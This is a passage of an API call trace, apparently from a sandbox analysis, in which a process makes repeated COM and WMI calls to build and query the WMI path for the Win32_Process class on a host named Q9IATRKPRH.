wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0159.626] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0159.626] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0159.626] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0159.626] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0159.626] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0159.626] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.628] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc15d90) returned 0x0 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15d90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0159.628] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15d90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ea80) returned 0x0 [0159.628] WbemDefPath:IUnknown:Release (This=0x1bc15d90) returned 0x0 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ea80) returned 0x0 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0159.628] WbemDefPath:IUnknown:AddRef (This=0x1bc3ea80) returned 0x3 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0159.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15dd0) returned 0x0 [0159.628] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15dd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.629] WbemDefPath:IUnknown:Release (This=0x1bc15dd0) returned 0x3 [0159.629] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0159.629] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0159.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0159.629] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x2 [0159.629] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x1 [0159.629] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0159.629] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0159.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ea80) returned 0x0 [0159.629] WbemDefPath:IUnknown:AddRef (This=0x1bc3ea80) returned 0x3 [0159.629] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x2 [0159.629] WbemDefPath:IWbemPath:SetText (This=0x1bc3ea80, uMode=0x4, pszPath="") returned 0x0 [0159.629] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0159.629] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0159.629] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0159.629] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.630] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc15d90) returned 0x0 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15d90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0159.631] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15d90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc407c0) returned 0x0 [0159.631] WbemDefPath:IUnknown:Release (This=0x1bc15d90) returned 0x0 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc407c0) returned 0x0 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0159.631] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15e10) returned 0x0 [0159.631] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15e10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.631] WbemDefPath:IUnknown:Release (This=0x1bc15e10) returned 0x3 [0159.631] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0159.631] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0159.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0159.631] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0159.631] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x1 [0159.632] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0159.632] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0159.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc407c0) returned 0x0 [0159.632] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0159.632] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0159.632] WbemDefPath:IWbemPath:SetText (This=0x1bc407c0, uMode=0x4, pszPath="") returned 0x0 [0159.632] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0159.632] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0159.632] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc407c0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0159.632] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc407c0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0159.632] WbemDefPath:IWbemPath:SetServer (This=0x1bc407c0, Name="Q9IATRKPRH") returned 0x0 [0159.632] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0159.632] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0159.632] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0159.632] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.634] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc15e30) returned 0x0 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15e30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0159.634] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15e30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40580) returned 0x0 [0159.634] WbemDefPath:IUnknown:Release (This=0x1bc15e30) returned 0x0 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40580) returned 0x0 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0159.634] WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15e70) returned 0x0 [0159.634] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15e70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.634] WbemDefPath:IUnknown:Release (This=0x1bc15e70) returned 0x3 [0159.634] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0159.634] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0159.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0159.634] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0159.635] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x1 [0159.635] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0159.635] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0159.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40580) returned 0x0 [0159.635] WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0159.635] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0159.635] WbemDefPath:IWbemPath:SetText (This=0x1bc40580, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0159.635] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc407c0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40580, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40580, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0159.635] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc407c0, uIndex=0x0, pszName="ROOT") returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40580, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40580, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0159.635] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc407c0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc407c0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0159.635] WbemDefPath:IWbemPath:SetClassName (This=0x1bc407c0, Name="Win32_Process") returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc407c0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc407c0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc407c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0159.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0159.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bc407c0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0159.636] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0159.636] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0159.636] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0159.636] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.637] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc160d0) returned 0x0 [0159.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc160d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, 